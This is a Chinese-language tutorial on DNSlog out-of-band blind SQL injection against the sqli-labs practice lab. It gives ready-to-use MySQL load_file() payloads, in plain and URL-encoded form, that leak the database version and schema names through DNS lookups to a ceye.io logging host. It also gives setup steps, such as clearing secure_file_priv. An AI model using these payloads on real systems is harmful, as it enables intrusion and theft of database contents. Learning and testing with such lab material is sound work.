Dnslog盲注原理
布爾盲注和時間盲注相當於猜單詞的游戲,我們需要對每一位逐步的猜測,效率很低,需要發送很多的請求進行判斷,很可能會觸發安全設備的防護
我們需要一種方式能夠減少請求,直接回顯數據——Dnslog注入
Dns在解析的時候會留下日志,通過讀取多級域名的解析日志,獲取請求信息
Dnslog盲注方法
登錄http://ceye.io/
網站並注冊,得到屬於自己的identifier
先嘗試在終端運行curl dnslog.4ke30o.ceye.io
Mysql load_file()函數可以發起請求,LOAD_FILE()函數操作需要用戶具有FILE權限
構造語句,利用load_file()函數發起請求,使用Dnslog接收請求,獲取數據
只能在windows系統下使用load_file()發起請求,在Linux環境下不能使用load_file()發起請求
使用語句select load_file(concat('\\\\',(select version()),'.mysql.4ke30o.ceye.io\\abc'))
在使用前務必記得設置secure_file_priv為"",我使用的是PHPstudy集成環境,所以訪問http://localhost/phpMyAdmin4.8.5/
來使用SQL
重啟mysql服務
使用語句,查詢自己想要的數據,此處查詢版本信息
以第九關為例(在windows上運行)
使用http://localhost/sqli-labs-master/index.html
進入SQLInjection頁面
http://localhost/sqli-labs-master/Less-9/?id=1%27%20and%20(select%20load_file(concat(%27\\\\%27,(select%20version()),%27.mysql.4ke30o.ceye.io\\abc%27)))--+
http://localhost/sqli-labs-master/Less-9/?id=1%27%20and%20(select%20load_file(concat(%27\\\\%27,(select%20schema_name%20from%20information_schema.schemata%20limit%201,1),%27.mysql.4ke30o.ceye.io\\abc%27)))--+
一般來說,查詢不到就說明語法有問題,可以先在mysql中嘗試,在url中務必記得
1、?id=1’ and
2、and后面的語句要用括號括起來
3、不要忘記注釋掉后面的語句–+或者%23